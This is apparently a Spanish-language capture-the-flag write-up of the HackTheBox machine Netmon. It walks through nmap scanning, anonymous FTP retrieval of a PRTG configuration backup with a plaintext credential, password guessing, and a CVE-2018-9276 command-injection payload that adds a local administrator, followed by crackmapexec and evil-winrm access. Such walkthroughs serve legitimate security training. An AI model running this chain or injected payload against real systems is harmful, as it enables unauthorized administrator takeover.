the_open_door
café
ESEN

Netmon

HackTheBoxFácilWindows10.10.10.152

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#windows#ftp-anonymous#prtg#paessler#config-leak#password-guessing#cve-2018-9276#command-injection#oscp
TL;DR. El 21 permite FTP anónimo con acceso a todo C:\. En C:\ProgramData\Paessler\PRTG Network Monitor hay un PRTG Configuration.old.bak con la credencial prtgadmin:PrTg@dmin2018. La contraseña está caducada (viene de un .bak), pero subiendo el año a PrTg@dmin2019 entra al panel de PRTG Network Monitor 18.1.37, vulnerable a CVE-2018-9276: el campo de parámetros de una notificación se concatena a una llamada de PowerShell que corre como SYSTEM/Administrator. Inyectando ;net user ... /add;net localgroup administrators ... /add se crea un administrador local, y con él se entra por WinRM a por ambas flags.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.152

ping a 10.10.10.152: ttl=127 apunta a Windows

64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=101 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un escaneo completo de puertos TCP (-p-) revela varios servicios: FTP (21), HTTP (80), el bloque SMB/RPC de Windows y WinRM (5985):

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.152

nmap -p-: 21, 80, 135, 139, 445, 5985 (wsman) y 47001, todos con ttl 127

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664-49669/tcp open unknown

Trece puertos son demasiados para copiarlos a mano, así que extractPorts (una función del .zshrc) resume el fichero -oG y los deja en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Netmon: IP 10.10.10.152 y los trece puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.152
Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669

Ports copied to clipboard

El -sCV sobre esos puertos lo resume todo de golpe: FTP anónimo abierto, un PRTG Network Monitor en el 80 y el bloque SMB/WinRM de Windows Server:

nmap -p21,80,135,139,445,5985,47001 -sCV 10.10.10.152

nmap -sCV: FTP anónimo, PRTG 18.1.37 en el 80, SMB y WinRM

21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http          Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-title: Welcome | PRTG Network Monitor (NETMON)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0
49664-49669/tcp open msrpc    Microsoft Windows RPC
Service Info: OS: Windows

Tres piezas marcan el camino: FTP que acepta anonymous, PRTG 18.1.37 (una versión concreta) y WinRM (5985) como vía de entrada si conseguimos credenciales de administrador.

TCP 80 - PRTG Network Monitor

whatweb confirma la tecnología y, sobre todo, la versión exacta: PRTG/18.1.37.13946:

whatweb 10.10.10.152

whatweb: HTTPServer PRTG/18.1.37.13946 y PRTG-Network-Monitor 18.1.37.13946

http://10.10.10.152 [302 Found] HTTPServer[PRTG/18.1.37.13946], PRTG-Network-Monitor[18.1.37.13946,PRTG], RedirectLocation[/index.htm], X-XSS-Protection[1; mode=block]

Hay un login de Paessler PRTG, pero admin:admin y similares no entran:

panel de login de PRTG Network Monitor

PRTG es un producto comercial de monitorización; la versión 18.1.37 se anota para buscar vulnerabilidades. Antes, el FTP anónimo merece una visita.

Acceso como prtgadmin

TCP 21 - FTP anónimo y la config de PRTG

El FTP anónimo da acceso a la raíz C:\ completa. PRTG guarda su configuración en C:\ProgramData\Paessler\PRTG Network Monitor, donde además del fichero activo hay copias de seguridad:

Entramos con el usuario anonymous (sin contraseña) y confirmamos que se lista la raíz C:\ entera (Program Files, Users, Windows, ProgramData...). Bajamos a ProgramData, donde vive la carpeta Paessler:

ftp 10.10.10.152      # usuario: anonymous
ls -la
cd ProgramData
dir

FTP anónimo: 230 User logged in, ls -la muestra la raíz C:\ completa y cd ProgramData revela la carpeta Paessler

230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
02-03-19  08:05AM  <DIR>  Documents and Settings
02-03-19  12:28AM  <DIR>  Program Files
12-15-21  10:40AM  <DIR>  ProgramData
02-03-19  08:08AM  <DIR>  Users
11-10-23  10:20AM  <DIR>  Windows

Dentro de Paessler\PRTG Network Monitor, junto al fichero de configuración activo, hay copias de seguridad; descargamos el .old.bak:

cd Paessler/PRTG Network Monitor
ls -la
binary
get "PRTG Configuration.old.bak"

FTP anónimo navegando hasta el directorio de Paessler

ftp> ls -la
...
02-03-19  12:18AM       <DIR>          Configuration Auto-Backups
09-27-25  07:55AM       <DIR>          Log Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153570 PRTG Configuration.old.bak
09-27-25  07:56AM              1639822 PRTG Graph Data Cache.dat
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get "PRTG Configuration.old.bak"
229 Entering Extended Passive Mode (|||51284|)
150 Opening BINARY mode data connection.
100% |***************|  1153701 bytes received in 00:02 (395.95 KiB/s)
226 Transfer complete.

El PRTG Configuration.old.bak es un respaldo antiguo. Buscando la cadena pass aparece una credencial de administrador en claro:

cat "PRTG Configuration.old.bak" | grep -i "pass" -B 5 | head -n 30

el .bak revela prtgadmin / PrTg@dmin2018

<dbpassword>
  <!-- User: prtgadmin -->
  PrTg@dmin2018
</dbpassword>

Antes de probarla, la guardamos aparte para no volver a teclear un @ y un ! entre comillas equivocadas:

echo 'prtgadmin:PrTg@dmin2018' > ../content/credentials.txt
cat ../content/credentials.txt

la credencial se guarda en credentials.txt y el cat lo confirma

prtgadmin:PrTg@dmin2018

Password guessing por año

La credencial prtgadmin:PrTg@dmin2018 no entra. Se teclea tal cual en el formulario:

el login de PRTG con prtgadmin y PrTg@dmin2018 escritos, y la URL con errormsg=Your login has failed

10.10.10.152/public/login.htm?errormsg=Your login has failed. Please try again!&loginurl=
  Login Name: prtgadmin
  Password:   PrTg@dmin2018

Y el panel responde "Your login has failed". Es de un fichero .old.bak, así que probablemente la cambiaron:

login de PRTG con PrTg@dmin2018 rechazado: "Your login has failed. Please try again!"

El patrón PrTg@dmin<year> invita a probar el año siguiente. Probamos prtgadmin:PrTg@dmin2019:

formulario de login de PRTG con prtgadmin y PrTg@dmin2019 introducidos

Y PrTg@dmin2019 funciona, entrando al panel de administración de PRTG:

login correcto en PRTG con PrTg@dmin2019

Una contraseña vieja rara vez es inútil: revela el patrón que el administrador reutiliza. Subir el año es el ataque obvio.

Shell como Administrator

CVE-2018-9276: command injection en las notificaciones de PRTG

PRTG < 18.2.39 arrastra CVE-2018-9276: el sistema de notificaciones permite ejecutar un programa y pasarle parámetros, y ese campo de parámetros no se sanea antes de concatenarse a una llamada de PowerShell que el servicio ejecuta como NT AUTHORITY\SYSTEM / Administrator. Un ; separa comandos, igual que en cualquier inyección de comandos.

Una búsqueda de "PRTG Network Monitor command injection" lleva a un artículo con los pasos exactos (crear una notificación, elegir un script PowerShell demo e inyectar en sus parámetros):

búsqueda "PRTG Network Monitor command injection" con el resultado de hackfa.st

artículo describiendo la command injection de PRTG (CVE-2018-9276)

Ya autenticados como administrador de PRTG, navegamos a la sección de notificaciones en Setup → Account Settings → Notifications:

menú Setup &gt; Account Settings &gt; Notifications en el panel de PRTG

Ahí pulsamos Add new notification:

sección Notifications con el botón "Add new notification" resaltado

Le damos un nombre a la notificación (test):

formulario Add Notification con Notification Name "test"

Bajamos a la opción Execute Program, elegimos el script Demo exe notification - outfile.ps1 y en Parameter inyectamos el payload que crea un usuario y lo mete en administradores:

test.txt;net user jaime j4ime! /add;net localgroup administrators jaime /add

notificación con el payload net user / net localgroup en el campo Parameter

Se guarda y se dispara la notificación manualmente. El comando corre como Administrator y crea la cuenta:

ejecutando la notificación para lanzar el payload

Validamos la cuenta nueva con crackmapexec, que además marca Pwn3d! (es administrador local):

crackmapexec smb 10.10.10.152 -u jaime -p 'j4ime!'

cme smb con jaime:j4ime! → Pwn3d!

SMB  10.10.10.152  445  NETMON  [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB  10.10.10.152  445  NETMON  [+] netmon\jaime:j4ime! (Pwn3d!)

Flags

Con un administrador local, Evil-WinRM da shell y ambas flags (root incluida, al ser admin):

evil-winrm -u jaime -p 'j4ime!' -i 10.10.10.152

evil-winrm como jaime: type de user.txt y root.txt

4c90d4308d1dcf083088287302ce1200   # user.txt
62a572d69cae590c636360eb94fcb5dc   # root.txt
type C:\Users\Public\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

Cadena de ataque

nmap (21 ftp-anon, 80 PRTG 18.1.37, 445 SMB, 5985 WinRM)
  └─> FTP anónimo → C:\ProgramData\Paessler\... \ PRTG Configuration.old.bak
        └─> credencial caducada prtgadmin:PrTg@dmin2018
              └─> password guessing por año → PrTg@dmin2019 (panel PRTG)
                    └─> CVE-2018-9276: notificación Execute Program con ; en Parameter
                          └─> net user jaime + net localgroup administrators (como Administrator)
                                └─> cme smb (Pwn3d!) → evil-winrm → user.txt + root.txt

Lecciones aprendidas

  • El FTP anónimo con acceso a C:\ es un desastre por sí solo: expone ficheros de configuración, copias de seguridad y rutas de aplicaciones. PRTG guardando sus credenciales en un .bak accesible es el fallo de raíz.
  • Una contraseña caducada vale por su patrón. PrTg@dmin2018 no entraba, pero delató el esquema PrTg@dmin<year>. Probar variaciones (año, sufijos, mayúsculas) antes de descartar una credencial encontrada.
  • CVE-2018-9276 es un recordatorio de que cualquier campo que termine en una shell (parámetros de un "ejecutar programa") es command injection en potencia. PRTG ejecutaba esas notificaciones como SYSTEM, así que la inyección da el nivel máximo de una.
  • Identificar la versión exacta (18.1.37) lleva directo al CVE. La monitorización es software privilegiado por naturaleza (necesita ver todo el sistema), y un fallo en ella suele significar control total.
Cheatsheet de comandos 10 comandos

Repaso rápido